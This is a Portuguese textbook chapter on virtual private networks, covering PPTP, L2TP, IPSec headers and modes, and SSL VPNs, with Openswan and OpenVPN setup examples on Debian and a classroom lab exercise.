SSL e TLS, SOCKS, SSH
IPSec, MPLS VPNs
PPTP, L2TP, L2F, 
ATM cell encryptors
RF encryptors, 
optical bulk encryptors
Objetivos de uma VPN
q 1 Confidencialidade dos dados.
 1 Integridade dos dados.
 1 Não repúdio do emissor.
 1 Autenticação da mensagem.
A seguir veremos algumas implementações específicas de aplicações VPN. 
Figura 7.1 
OSI vs. VPN.
153
 
C
ap
ítu
lo
 7
 - 
Re
de
s 
Pr
iv
ad
as
 V
ir
tu
ai
s
VPN PPTP
qAutenticação:
 1 PAP.
 1 CHAP.
 1 MS-CHAP.
Analisando o modelo OSI, a VPN PPTP encontra-se na camada de enlace por ser uma 
derivação do protocolo Point to PointProtocol (PPP), que consiste em um protocolo de 
comunicação ponto a ponto, muito utilizado no passado em linhas telefônicas. O PPTP foi 
desenvolvido pela Microsoft com o objetivo de incrementar recursos ao PPP. Ele utiliza a 
autenticação do PPP com um recurso de túnel que pode ser criptografado utilizando 
criptografia de 40 ou 128 bits. A Figura 7.2 apresenta uma estrutura básica de um pacote 
PPTP, contido dentro de um pacote IP. 
Cabeçalho IP Cabeçalho PPTP Cabeçalho PPP Payload PPP Data LinkTrailer
Cabeçalho
Data Link 
O PPTP é um protocolo orientado à conexão, o que exige uma estrutura cliente/servidor. 
Sendo assim, ele trafega por padrão na porta TCP 1723. Para estabelecer o túnel PPTP em 
redes com firewall, é necessário liberar essa porta TCP e utilizar NAT. Será necessário NAT 
de um-para-um ou algum protocolo especial para permitir o uso de PPTP (muitas vezes 
chamado de VPN passthru).
Foram desenvolvidas várias formas de autenticação do PPP, sendo as mais usuais:
 1 Protocolo de Autenticação de Palavras (PAP): protocolo de autenticação simples em 
que o cliente do túnel PPP enviará o usuário e a senha para o servidor em texto claro.
 1 Challenge Handshake Authentication Protocol (CHAP): protocolo de autenticação em 
que o cliente e o servidor responderão a um desafio, através de senha criptografada com 
o algoritmo HASH MD5, que, trocada entre o cliente e o servidor, evita que a senha seja 
transmitida em texto claro.
 1 MS-CHAP: protocolo proprietário da Microsoft criado para autenticar estações de tra-
balho remotas baseadas no Windows. Tal como o CHAP, o MS-CHAP utiliza um meca-
nismo de contestação-resposta para autenticar ligações sem enviar a palavra-chave em 
texto claro. O MS-CHAP utiliza o algoritmo Hash MD4 (Message Digest 4) e o algoritmo 
de encriptação Data Encryption Standard (DES) para gerar a autenticação challenge/res-
ponse. O MS-CHAP também fornece mecanismos para comunicar erros de ligação e para 
alterar a palavra-passe do utilizador. 
Podemos verificar, assim, que o CHAP e o MS-CHAP são preferíveis ao PAP, pois não tra-
fegam a senha em texto claro.
L2TP 
qEspecificado na RFC 2661 e desenvolvido por empresas como Cisco e Microsoft, utiliza a 
estrutura cliente servidor e é orientado a pacotes. Usa UDP como protocolo de transporte.
O L2TP é um protocolo aberto, especificado na RFC 2661. Foi desenvolvido por um grupo de 
empresas incluindo Cisco e Microsoft. Assim como o PPTP, o L2TP utiliza a estrutura cliente 
servidor, mas é orientado a pacotes. Dessa forma, alguns problemas de desempenho do 
PPTP foram contornados, por utilizar UDP como protocolo de transporte.
Figura 7.2 
Estrutura do Proto-
colo do Túnel PPTP.
154
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Cabeçalho
Data Link Cabeçalho IP Cabeçalho UDP Cabeçalho L2TP Cabeçalho PPP Payload PPP
Data Link
Trailer
Para implementar o túnel L2TP em redes com firewall por padrão, é necessário liberar a 
porta UDP 1701. Como é um protocolo orientado a pacotes, o NAT pode ser implementado 
no modelo um-para-muitos ou um-para-um. Por ser mais leve e prover melhor desem-
penho, recomenda-se usar o L2TP no lugar do PPTP, sempre que possível. Deve-se ainda 
evitar o PPTP, especialmente as versões com chaves de 40 bits, pois diversas vulnerabili-
dades já foram descobertas nesse protocolo.
IPSec
qA segurança de IP (IPSec) é uma capacidade que pode ser acrescentada a qualquer 
versão atual do protocolo Internet: IPv4 e IPv6, por meio de cabeçalhos adicionais. IPSec 
é um conjunto de protocolos, também conhecido como suíte de segurança IP.Os proto-
colos inclusos na suíte de segurança IP estão focados em:
 1 Entrega da mensagem autêntica.
 1 Integridade dos dados.
 1 Confidencialidade dos dados.
 1 Não repúdio do emissor.
A segurança de IP (IPSec) é uma capacidade que pode ser acrescentada a qualquer versão 
atual do protocolo Internet: IPv4 e IPv6, por meio de cabeçalhos adicionais. O IPSec atua 
na camada de rede do modelo OSI, por criptografar o conteúdo (payload) do pacote IP. 
Como o IPSec não é um protocolo único, mas sim um conjunto de protocolos, cada qual com 
um objetivo específico, podemos chamar o IPSec de suíte de segurança IP. Os protocolos 
inclusos na suíte de segurança IP estão focados na entrega da mensagem autêntica, com 
integridade dos dados, confidencialidade dos dados e não repúdio do emissor.
qA especificação do IPSec consiste em várias RFCs, sendo as mais importantes delas emi-
tidas em 1998. São elas:
 1 RFC 2401: descrição da visão geral de uma arquitetura de segurança.
 1 RFC 2402: descrição de uma extensão de autenticação de pacotes para IPv4 e IPv6.
 1 RFC 2406: descrição de uma extensão de criptografia de pacote para IPv4 e IPv6.
 1 RFC 2408: especificação das capacidades de gerenciamento de chaves.
Figura 7.3 
Estrutura do 
protocolo do L2TP.
155
 
C
ap
ítu
lo
 7
 - 
Re
de
s 
Pr
iv
ad
as
 V
ir
tu
ai
s
Além das quatro RFCs, diversos rascunhos foram publicados pelos grupos de trabalho do IP 
Security Procotol. Os documentos estão descritos na RFC 2401, divididos em sete grupos, 
conforme a figura:
Protocolo ESP
Algoritmo de
criptografia
Algoritmo de
autenticação
Protocolo AH
Domínio de 
interpretação
Gerenciamento 
de chaves
Arquitetura
 1 Arquitetura: abrange os conceitos gerais, os requisitos de segurança, definições e meca-
nismos, definindo a tecnologia IPSec.
 1 Protocolo ESP (Encapsulating Security Payload): abrange o formato de pacote e questões 
gerais relacionadas ao uso de ESP para criptografia de pacote e, opcionalmente, autenticação.
 1 Protocolo AH (Authentication Header): abrange o formato de pacote e questões gerais 
relacionadas ao uso do AH para autenticação de pacotes.
 1 Algoritmo de criptografia: um conjunto de documentos que descrevem como diversos 
algoritmos de criptografia são usados para ESP.
 1 Algoritmo de autenticação: um conjunto de documentos que descrevem como vários 
algoritmos de autenticação são usados para AH e para a opção de autenticação do ESP.
 1 Gerenciamento de chaves: documentos que descrevem esquemas de gerenciamento 
de chaves. Exemplo: ISAKMP.
 1 Domínio de interpretação: são valores para os outros documentos se relacionarem 
entre si. Incluem identificadores para algoritmos aprovados de criptografia e autenti-
cação, além de parâmetros operacionais, como tempo de vida da chave.
Exercício de fixação 1 e 
VPN
Explique os objetivos da VPN.
Figura 7.4 
Visão do protocolo 
IPSec.
156
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Quais as formas mais usuais de autenticação do VPN PPP?
Exercício de fixação 2 e 
IPSec
Explique como o IPSec funciona.
Modos de operação do IPSec
q 1 Cifragem de blocos: divide os dados em conjuntos de tamanho fixo (chamados de blocos)
 2 Electronic Codebook (ECB).
 2 Cipher-Block Chaining (CBC).
 2 Propagating Cipher-Block Chaining (PCBC).
 2 Cipher Feedback (CFB).
 2 Output Feedback (OFB).
 2 Counter (CTR).
 1 Cifragem stream – realiza a cifragem de bits. Não há a necessidade de aguardar 
a formação de um bloco.
 2 RC4.
 2 A5/1 (usado em redes GSM de telefonia celular).
 1 Modo de Transporte: oferece proteção principalmente para os protocolos das camadas 
superiores, mas não permite suporte a alguns serviços de rede, como multicast.
 1 Modo de Túnel: oferece proteção a todo pacote IP.
O IPSec oferece dois modos de operação, sendo eles:
 1 Modo de Transporte: esse modo oferece proteção principalmente para os protocolos 
das camadas superiores. Esse modo de operação do IPSec criptografa todo o payload do 
pacote IP. Compatível com protocolos IP: UDP, TCP e ICMP.
CabeçalhoESP Cabeçalho TCP Dados Trailer ESP Autenticação ESPCabeçalho IP 
Criptografado
Autenticado
Não protegido Não protegido
 1 Modo de Túnel: esse modo de operação oferece proteção a todo pacote IP. Todo o 
pacote original viaja por um “túnel” de um ponto de uma rede IP para outro, e nenhum 
roteador ao longo do caminho é capaz de examinar o cabeçalho IP interno.
Figura 7.5 
Pacote encapsu-
lado ESP no modo 
transporte.
157
 
C
ap
ítu
lo
 7
 - 
Re
de
s 
Pr
iv
ad
as
 V
ir
tu
ai
s
Cabeçalho ESP Cabeçalho TCP
Cabeçalho 
IP Dados 
Trailer 
ESP Autenticação ESPNovo cabeçalho IP
Criptografado
Autenticado
Não protegido Não protegido
Protocolos IPSec
O IPSec oferece serviços de segurança na camada de IP, permitindo que um sistema selecione 
protocolos de segurança exigidos, e determine os algoritmos necessários para os serviços, 
colocando no lugar quaisquer chaves criptográficas exigidas para oferecer os serviços solici-
tados. Dois protocolos podem ser usados para oferecer segurança: autenticação do cabeçalho 
(AH) e um protocolo combinado de criptografia e autenticação, designado pelo formato de 
pacote para esse protocolo, denominado Encapsulamento de Segurança do Payload (ESP). Os 
serviços e suporte de cada protocolo IPSec seguem listados na tabela a seguir:
AH ESP ESP + AH
Controle de acesso Sim Sim Sim
Integridade sem conexão Sim Sim
Autenticação da origem Sim Sim
Rejeição de pacotes repetidos Sim Sim Sim
Confidencialidade Sim Sim
O IPSec pode ser utilizado tanto para comunicação segura entre computadores (geralmente 
no modo transporte), quanto para o estabelecimento de VPN (geralmente no modo túnel). 
Alguns sistemas operacionais, como o Windows 2000, já possuem suporte nativo a IPSec, de 
modo que é possível que todo o tráfego entre servidores seja criptografado. Normalmente 
para utilizar IPSec, os roteadores presentes na rede devem suportar e entender o protocolo, 
para poderem encaminhar corretamente os dados.
Encapsulating Security Payload (ESP) 
Estabelece mecanismos de garantia da privacidade e integridade do conteúdo, utilizando 
técnicas de criptografia e código Hash, respectivamente. Na criptografia, normalmente são uti-
lizados algoritmos DES, 3DES ou AES. Para o código Hash são utilizadas funções MD5 ou SHA-1. 
Authetication Header (AH) 
Estabelece mecanismos de verificação da autenticidade e integridade de pacotes IP. Nor-
malmente, na verificação da autenticidade de pacotes, é calculado o Hash de HMAC (Hash 
Message Authentication Code) usando funções de Hash MD5 ou SHA-1.
Cabeçalho ESP
q 1 Security Parameters Index (SPI).
 1 Número sequencial.
 1 Dados.
Figura 7.6 
Pacote encapsulado 
ESP no modo túnel.
Figura 7.7 
Serviços de cada 
protocolo IPSec.
158
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
q 1 Padding.
 1 Tamanho do Pad.
 1 Próximo cabeçalho.
Dados para autenticação.
Payload length Next header
Padding (0-255 bytes) Next header
Authentication data (variable)
Sequence number 
Security Parameters Index (SPI)
0-7 bit 8-15 bit 16-23 bit 24-31 bit
Payload data (variable)
O campo SPI possui um valor que identifica a associação de segurança (SA) de um tráfego 
IPSec. O campo “Sequence number” possui um contador, que é incrementado a cada pacote 
enviado, com o objetivo de proteger contra ataques replay, onde o atacante captura um 
tráfego e o repete mais à frente. O payload contém o pacote original que está sendo prote-
gido pelo ESP. O “Padding” é utilizado para completar os dados de modo a caber no tamanho 
de bloco do algoritmo de criptografia. “Pad Length” contém o tamanho do campo anterior e 
“Next Header” indica o tipo do próximo cabeçalho. 
Cabeçalho AH 
q 1 Próximo cabeçalho.
 1 Tamanho do payload.
 1 Security Parameters Index (SPI).
 1 Número sequencial.
 1 Dados para autenticação.
Authentication data (variable)
Sequence number 
Next header Payload length Reserved
Security Parameters Index (SPI)
0-7 bit 8-15 bit 16-23 bit 24-31 bit
Figura 7.8 
Cabeçalho ESP.
Figura 7.9 
Cabeçalho AH.
159
 
C
ap
ítu
lo
 7
 - 
Re
de
s 
Pr
iv
ad
as
 V
ir
tu
ai
s
No cabeçalho AH, alguns campos são invertidos em relação ao ESP, e não temos a cifragem 
do pacote original. Os campos “Next header”, “SPI” e “Sequence number” possuem a mesma 
finalidade dos correspondentes no cabeçalho ESP. O campo “Payload length” indica o 
tamanho do cabeçalho AH.
Exercício de fixação 3 e 
IPSec
Explique o que são ESP e AH no protocolo IPSec.
VPN SSL
qCom o uso de VPNs baseadas em SSL, é possível ter acesso a aplicações ou redes 
remotas, tendo como acesso qualquer tipo de conectividade à internet. Pode ser imple-
mentada via:
 1 Cliente VPN SSL
 1 Navegador web
 1 Instalação simplificada do agente
Quando precisamos de segurança apenas em uma aplicação específica, como navegação 
na internet, envio de correio eletrônico e mensagens instantâneas, utilizamos a criptografia 
na comunicação entre essas aplicações. As escolhas mais populares de criptografia para 
esse cenário são TLS e SSL. Embora os dois protocolos tenham a mesma finalidade, existem 
diferenças sutis entre eles. 
Ambos os protocolos suportam uma variedade de algoritmos de criptografia ou cifras para 
realizar algumas funções, como a autenticação do servidor e do cliente, transmissão de cer-
tificados e estabelecimento das chaves de sessão. Para a criptografia em massa dos dados, 
algoritmos simétricos são utilizados. Algoritmos assimétricos são utilizados para autenti-
cação e troca de chaves. O Hash é utilizado como parte do processo de autenticação.
Com o uso de VPNs baseadas em SSL, é possível ter acesso a aplicações ou redes remotas, 
tendo como acesso qualquer tipo de conectividade à internet, sendo necessário apenas 
um navegador da internet ou um software cliente instalado na máquina do usuário. Essa 
flexibilidade permite às VPNs baseadas em SSL prover acesso de qualquer lugar a recursos 
computacionais de uma empresa. Dessa forma, colaboradores de uma empresa podem 
utilizar VPNs baseadas em SSL para ter acesso remoto a aplicações de uma empresa.
Existem algumas etapas no estabelecimento da sessão VPN SSL que podem ser descritas em 
fases, conforme ilustra a figura a seguir:
Túnel VPN SSL
1
3
2
4
5
TLS e SSL 
Transport Layer Security 
e Security Sockets Layer 
são protocolos com 
diferenças bem sutis. 
A especificação do 
SSL 3.0 é conhecida 
como SSL3, e do TLS 1.0 
como TLS1 ou SSL 3.1.
Figura 7.10 
Estabelecimento 
de uma sessão 
VPN SSL.
160
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
1. Nesta fase, o equipamento do usuário estabelece uma conexão TCP na porta 443 do servidor.
2. O servidor SSL apresenta um certificado digital que contém a chave pública 
digitalmente assinada por uma Autoridade Certificadora confiável.
3. O computador do usuário gera uma chave simétrica compartilhada entre as duas partes, 
cliente e servidor.
4. A chave pública do servidor é utilizada para criptografar a chave compartilhada e trans-
mitir para o cliente. O software do servidor utiliza a chave privada para descriptografar 
a chave compartilhada enviada pelo cliente. Assim que o servidor realizar esse processo, 
ambos terão acesso à chave compartilhada.
5. A chave compartilhada então é utilizada para criptografar o dados transmitidos na sessão SSL.
O OpenVPN é um exemplo de software livre, que utiliza SSL para criar túneis VPN. Uma van-
tagem das VPN SSL em relação ao IPSec é que a liberação do acesso através de um firewall é 
bem mais simples, pois envolve apenas uma porta(443 TCP), que normalmente já é liberada 
pra acessos www seguros (HTTPS). 
Exercício de fixação 4 e 
VPN SSL
Explique a diferença entre TLS e SSL.
Implementação IPSec no Linux
q 1 Instalação.
 1 Configuração.
 1 Testes.
Existem várias implantações de VPN IPSec no mercado, variando de fabricantes de sistemas 
operacionais, fabricantes de dispositivos dedicados (appliances) e comunidades de software 
livre. Vamos detalhar o Openswan, um projeto de software livre de muito sucesso na comu-
nidade de software livre. Ele é uma derivação de um antigo projeto chamado Free S/Wan, 
que foi descontinuado. 
Instalação do Openswan
Instalação e configuração da solução de VPN usando o Openswan no Debian. 
Instalação do Openswan:
debian:~# apt-get install openswan
Reading package lists... Done
Building dependency tree... Done
The following extra packages will be installed:
 ca-certificates iproute ipsec-tools libatm1 libcurl3 libgmp3c2 
openssl
Suggested packages:
Openswan é uma 
implentação de IPSec 
para Linux, licenciado 
pela GPLversão 2. Site 
do projeto: www.
openswan.org.
w
161
 
C
ap
ítu
lo
 7
 - 
Re
de
s 
Pr
iv
ad
as
 V
ir
tu
ai
s
 openswan-modules-source linux-patch-openswan curl
Recommended packages:
 iproute-doc
The following NEW packages will be installed:
 ca-certificates iproute ipsec-tools libatm1 libcurl3 libgmp3c2 
openssl
 openswan
0 upgraded, 8 newly installed, 0 to remove and 32 not upgraded.
Need to get 3782kB of archives.
After unpacking 10.5MB of additional disk space will be used.
Do you want to continue [Y/n]?
Tela de configuração inicial logo após a instalação:
Nessa tela deve-se selecionar “No” (Não), pois será usada uma Pre-shared Key (Chave 
pré-compartilhada). Após essa tela, não há mais configuração.
Verificando a versão:
debian:~# ipsec verify
Checking your system to see if IPsec got installed and started 
correctly:
Version check and ipsec on-path [OK]
Linux Openswan U2.4.6/K2.6.18-5-k7 (netkey)
Checking for IPsec support in kernel [OK]
NETKEY detected, testing for disabled ICMP send_redirects [FAILED]
Figura 7.11 
Tela de instalação 
do OpenSwan.
162
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
 Please disable /proc/sys/net/ipv4/conf/*/send_redirects
 or NETKEY will cause the sending of bogus ICMP redirects!
NETKEY detected, testing for disabled ICMP accept_redirects [FAILED]
 Please disable /proc/sys/net/ipv4/conf/*/accept_redirects
 or NETKEY will accept bogus ICMP redirects!
Checking for RSA private key (/etc/ipsec.secrets) [DISABLED]
 ipsec showhostkey: no default key in “/etc/ipsec.secrets”
Checking that pluto is running [OK]
Two or more interfaces found, checking IP forwarding [FAILED]
Checking for ‘ip’ command [OK]
Checking for ‘iptables’ command [OK]
Opportunistic Encryption Support [DISABLED]
Configuração do Openswan
O servidor de VPN deve estar configurado de acordo com a estrutura de sua unidade. 
Para a configuração da VPN siga os passos seguintes.
1. Habilitar o roteamento no Linux:
echo 1 > /proc/sys/net/ipv4/ip_forward
2. Configurar o arquivo de configuração do Openswan:
vim /etc/ipsec.conf
debian:~# cat /etc/ipsec.conf
# /etc/ipsec.conf - Openswan IPsec configuration file
# RCSID $Id: ipsec.conf.in,v 1.15.2.4 2006/07/11 16:17:53 paul Exp $
# This file: /usr/share/doc/openswan/ipsec.conf-sample
#
# Manual: ipsec.conf.5
version 2.0 # conforms to second version of ipsec.conf 
specification
163
 
C
ap
ítu
lo
 7
 - 
Re
de
s 
Pr
iv
ad
as
 V
ir
tu
ai
s
# basic configuration
config setup
 interfaces=%defaultroute
 # plutodebug / klipsdebug = “all”, “none” or a combation 
from below:
 # “raw crypt parsing emitting control klips pfkey natt x509 
private”
 # eg:
 # plutodebug=”control parsing”
 #
 # Only enable klipsdebug=all if you are a developer
 #
 # NAT-TRAVERSAL support, see README.NAT-Traversal
 nat_traversal=yes
 virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12
 #
 # enable this if you see “failed to find any available worker”
 nhelpers=0
# Add connections here
conn %default
 keyingtries=0
 disablearrivalcheck=no
conn vpnpeer1
 left=200.200.40.16
 leftsubnet=192.168.1.0/255.255.255.0
 right=200.200.140.10
 rightsubnet=10.61.0.0/255.255.0.0
 ike=aes256-sha-modp1024
 esp=aes256-sha1
 pfs=no
 ikelifetime=8h
164
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
 keylife=8h
 dpddelay=30
 dpdtimeout=120
 dpdaction=hold
 authby=secret
 auto=start
# nameserver 202.21.11.100
# sample VPN connections, see /etc/ipsec.d/examples/
#Disable Opportunistic Encryption
include /etc/ipsec.d/examples/no_oe.conf
---------------------------------------------------------------------
debian:~# cat /etc/ipsec.secrets
# RCSID $Id: ipsec.secrets.proto,v 1.3.6.1 2005/09/28 13:59:14 paul Exp $
# This file holds shared secrets or RSA private keys for inter-Pluto
# authentication. See ipsec_pluto(8) manpage, and HTML documentation.
# RSA private key for this host, authenticating it to any other host
# which knows the public part. Suitable public keys, for ipsec.
conf, DNS,
# or configuration of other implementations, can be extracted 
conveniently
# with “ipsec showhostkey”.
200.200.40.16 200.200.140.10 : PSK “vpnipsec”
Implementação de VPN SSL no Linux
O uso de VPN SSL está em expansão no cenário atual de Tecnologias da Informação e 
Comunicação (TIC), uma vez que a sua implementação costuma ser mais simples do que as 
implementações de VPN IPSec. O projeto OpenVPN possui utilização destacada pela comuni-
dade de software livre. É importante lembrar que o IPv6 virá com IPSec nativo, de modo que 
165
 
C
ap
ítu
lo
 7
 - 
Re
de
s 
Pr
iv
ad
as
 V
ir
tu
ai
s
é preciso conhecer bem as duas tecnologias.
Instalação do OpenVPN
O OpenVPN atualmente já faz parte do repositório padrão do Debian. Dessa forma, a insta-
lação pode ser feita com o utilitário apt-get, como ilustra o exemplo a seguir:
debian:~# apt-get update
debian:~# apt-get install openvpn
Reading package lists... Done
Building dependency tree 
Reading state information... Done
The following extra packages will be installed:
 liblzo2-2 libpkcs11-helper1 openssl openssl-blacklist openvpn-blacklist
Suggested packages:
 ca-certificates resolvconf
The following NEW packages will be installed:
 liblzo2-2 libpkcs11-helper1 openssl openssl-blacklist openvpn 
openvpn-blacklist
0 upgraded, 6 newly installed, 0 to remove and 14 not upgraded.
Need to get 8948kB of archives.
After this operation, 18.5MB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://linorg.usp.br lenny/main openssl 0.9.8g-15+lenny7 [1034kB]
Get:2 http://linorg.usp.br lenny/main openssl-blacklist 0.4.2 [6338kB] 
Get:3 http://linorg.usp.br lenny/main liblzo2-2 2.03-1 [61.5kB] 
Get:4 http://linorg.usp.br lenny/main libpkcs11-helper1 1.05-1 [42.4kB]Get:5 http://linorg.usp.br lenny/main openvpn-blacklist 0.3 [1068kB] 
Get:6 http://linorg.usp.br lenny/main openvpn 2.1~rc11-1 [404kB] 
Fetched 8948kB in 2min20s (63.6kB/s) 
Preconfiguring packages ...
tar: ./conffiles: time stamp 2010-06-08 17:45:39 is 5089826.308233209 
s in the future
tar: ./postinst: time stamp 2010-06-08 17:45:39 is 5089826.262979826 
s in the future
tar: ./control: time stamp 2010-06-08 17:45:38 is 5089825.261959074 s 
in the future
tar: ./md5sums: time stamp 2010-06-08 17:45:39 is 5089826.261059126 
166
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
s in the future
tar: .: time stamp 2010-06-08 17:45:39 is 5089826.260466338 s in the 
future
Selecting previously deselected package openssl.
(Reading database ... 19366 files and directories currently installed.)
Unpacking openssl (from .../openssl_0.9.8g-15+lenny7_i386.deb) ...
Selecting previously deselected package openssl-blacklist.
Unpacking openssl-blacklist (from .../openssl-blacklist_0.4.2_all.deb) ...
Selecting previously deselected package liblzo2-2.
Unpacking liblzo2-2 (from .../liblzo2-2_2.03-1_i386.deb) ...
Selecting previously deselected package libpkcs11-helper1.
Unpacking libpkcs11-helper1 (from .../libpkcs11-helper1_1.05-1_i386.
deb) ...
Selecting previously deselected package openvpn-blacklist.
Unpacking openvpn-blacklist (from .../openvpn-blacklist_0.3_all.deb) ...
Selecting previously deselected package openvpn.
Unpacking openvpn (from .../openvpn_2.1~rc11-1_i386.deb) ...
Processing triggers for man-db ...
Setting up openssl (0.9.8g-15+lenny7) ...
Setting up openssl-blacklist (0.4.2) ...
Setting up liblzo2-2 (2.03-1) ...
Setting up libpkcs11-helper1 (1.05-1) ...
Setting up openvpn-blacklist (0.3) ...
Setting up openvpn (2.1~rc11-1) ...
Restarting virtual private network daemon.:.
debian:~# 
O projeto disponibiliza ainda, no seu site, um cliente de VPN SSL para as plataformas Micro-
soft Windows, Apple Mac OS X e Linux. A instalação desses clientes para Microsoft Windows 
é realizada via método de instalação padrão de aplicativos para Windows. 
Configuração do OpenVPN
A configuração do OpenVPN pode ser realizada editando o arquivo de configuração padrão 
ou criando um novo arquivo de configuração. No caso de criar um novo arquivo, é neces-
sário fazer referência a esse novo arquivo de configuração na inicialização do serviço. 
167
 
C
ap
ítu
lo
 7
 - 
Re
de
s 
Pr
iv
ad
as
 V
ir
tu
ai
s
Exemplo de configuração do servidor OpenVPN:
;local a.b.c.d
port 1194
;proto tcp
proto udp
;dev tap
dev tun
;dev-node MyTap
ca ca.crt
cert server.crt
dh dh1024.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
;server-bridge 10.8.0.4 255.255.255.0 10.8.0.50 10.8.0.100
;server-bridge
;push “route 192.168.10.0 255.255.255.0”
;push “route 192.168.20.0 255.255.255.0”
;client-config-dir ccd
;route 192.168.40.128 255.255.255.248
;client-config-dir ccd
;route 10.9.0.0 255.255.255.252
;learn-address ./script
;push “redirect-gateway def1 bypass-dhcp”
;push “dhcp-option DNS 208.67.222.222”
;push “dhcp-option DNS 208.67.220.220”
;client-to-client
;duplicate-cn
keepalive 10 120
comp-lzo
;max-clients 100
168
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
;user nobody
;group nogroup
persist-key
persist-tun
status openvpn-status.log
;log openvpn.log
;log-append openvpn.log
verb 3
;mute 20
É importante ressaltar que a VPN pode trabalhar em modo transparente (bridge) ou roteada 
(routing). Desta forma, será necessário configurar o kernel do Linux para que trabalhe de acordo 
com um dos modos, conforme realizado no capítulo 3. Será necessário também ajustar as 
regras de firewall para permitir o fluxo de pacotes para a interface virtual do OpenVPN.
A configuração do cliente pode ser realizada também por arquivo de configuração, o que 
facilita a distribuição de pacotes em larga escala. Abaixo a tela de configuração para o cliente 
OpenVPN, na plataforma Microsoft Windows XP.
Figura 7.12 
Cliente de OpenVPN 
para Windows XP.
169
 
C
ap
ítu
lo
 7
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Roteiro de Atividades 7
Atividade 1 – VPN IPSec
Nestas atividades iremos praticar os conceitos de VPN aprendidos neste capítulo. Para isso 
vamos implementar as tecnologias de VPN IPSec e VPN SSL.
VPN IPSec é amplamente utilizada como tecnologia de VPN para interconectar redes. 
Vamos implementar um túnel IPSec com o Openswan para interligar duas redes de vizinhos 
no laboratório. Essa atividade é complexa e envolve a configuração em duas estações de 
alunos. Escolha um colega próximo e combine com antecedência o que cada um vai fazer. 
A cooperação e o planejamento são fatores fundamentais para o sucesso da prática. Um 
aluno vai configurar os equipamentos da Topologia A e o outro aluno vai configurar os 
equipamentos da Topologia B.
Conforme ilustra a figura a seguir, iremos interligar a rede de topologia A com a rede de 
topologia B, utilizando o Openswan configurado no gateway FWGW1 de cada um dos alunos.
Topologia A Topologia B
DHCP
FWGW1
Servidor 
Windows
Servidor 
Linux
Host Windows
Rede local 10.1.1.0/24
DMZ 172.16.1.0/24 
DHCP
FWGW1
Servidor 
Windows
Servidor 
Linux
Host Windows
Rede local 10.1.2.0/24
DMZ 172.16.2.0/24
Internet 
Configure o OpenSwan no host FWGW1, para permitir a comunicação das máquinas da rede 
local remota com os seus servidores da DMZ. Exemplo: se você está configurando o cenário 
da Topologia A, você vai configurar o Openswan para permitir que os usuários da rede 
10.1.2.0/24 acessem os servidores de sua DMZ, rede 172.16.1.0/24.
170
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Passo 1 Acesse o host FWGW1, atualize a lista de pacotes do Debian e instale o pacote 
Openswan:
# apt-get update
# apt-get install openswan
Você será questionado se quer utilizar Opportunistc Encryption (OE): res-
ponda “No”.
Será questionado também se quer gerar as chaves RSA. Responda “No”, 
porque utilizaremos uma frase-senha (Pre shared key).
Passo 2 Aguarde seu colega concluir o Passo 1 para iniciarem juntos o Passo 3.
Passo 3 Edite o arquivo de configuração do Openswan localizado em /etc/ipsec.conf 
e adicione a seguinte conexão:
conn vpnlabrnp
 left=X.X.X.X
 leftsubnet=10.1.1.0/255.255.255.0
 right=Y.Y.Y.Y
 rightsubnet=10.1.2.0/255.255.255.0
 ike=aes256-sha-modp1024
 esp=aes256-sha1
 pfs=no
 ikelifetime=8h
 keylife=8h
 dpddelay=30
 dpdtimeout=120
 dpdaction=hold
 authby=secret
 auto=start
Onde X.X.X.X é o endereço IP que foi atribuído na interface eth0 
(definida por DHCP) do host FWGW1-A.
Onde Y.Y.Y.Y é o endereço IP que foi atribuído na interface eth0 
(definida por DHCP) do host FWGW1-B.
Left é o Grupo A. 
Right é o Grupo B.
Passo 4 Para definir a frase-senha (Pre shared key), vamos editar o arquivo 
/etc/ipsec.secrets
Atenção: observe a ordem dos hosts:
Para o Grupo A:
Y.Y.Y.Y X.X.X.X : PSK “vpnipsec”
Para o Grupo B:
X.X.X.X Y.Y.Y.Y : PSK “vpnipsec”
Passo 5 Para iniciar a VPN IPSec, temos de iniciar o serviço nos dois gateways VPN 
(FWGW1-A e FWGW1-B):
# /etc/init.d/ipsec start
# /etc/init.d/ipsec restart
171
 
C
ap
ítu
lo
 7
 - 
Ro
te
ir
o 
deA
ti
vi
da
de
s
Passo 6 Verifique se a conexão IPSec foi estabelecida:
# ipsec auto status
Passo 7 Verifique a conectividade com testes de ping para o host Windows XP de seu 
colega de trabalho. Por exemplo, se você é Grupo A, no host Windows XP, faça:
C:\> ping 10.1.2.10
Para esta atividade é recomendado deixar o firewall do host FWGW1 inicialmente 
desabilitado. Apenas configure o firewall do FWGW1 após obter êxito na configu-
ração da VPN. Isso diminuirá as possibilidades de falha na comunicação.
Atividade 2 – VPN SSL
Nesta atividade, iremos configurar um servidor e um cliente para estabelecer uma sessão VPN 
SSL. Para o estabelecimento da sessão VPN SSL, utilizaremos o OpenVPN configurado como 
servidor no host GWFW1 e o cliente instalado na estação de trabalho da rede Local Windows XP.
1. Configurar o host FWGW1 como servidor de VPN SSL, que receberá conexões na interface 
externa conectada à internet de um vizinho de laboratório.
Passo 1 Instale o OpenVPN no gateway Linux FWGW1 com o comando:
# apt-get install openvpn
Passo 2 Para gerar os certificados, vamos utilizar o conjunto de scripts “EASY-RSA”, 
que acompanha o pacote do OpenVPN.
Entre no diretório /usr/share/doc/openvpn/examples/easy-rsa/2.0 e utilize os 
seguintes comandos para inicializar as configurações do script:
# . ./vars
# ./clean-all
Para gerar os certificados do CA, utilize o seguinte 
comando:
# ./build-ca
Serão solicitados os parâmetros do certificado. Exemplo:
Country Name (2 letter code) [US]:BR
State or Province Name (full name) [CA]:Distrito Federal
Locality Name (eg, city) [SanFrancisco]:Brasilia
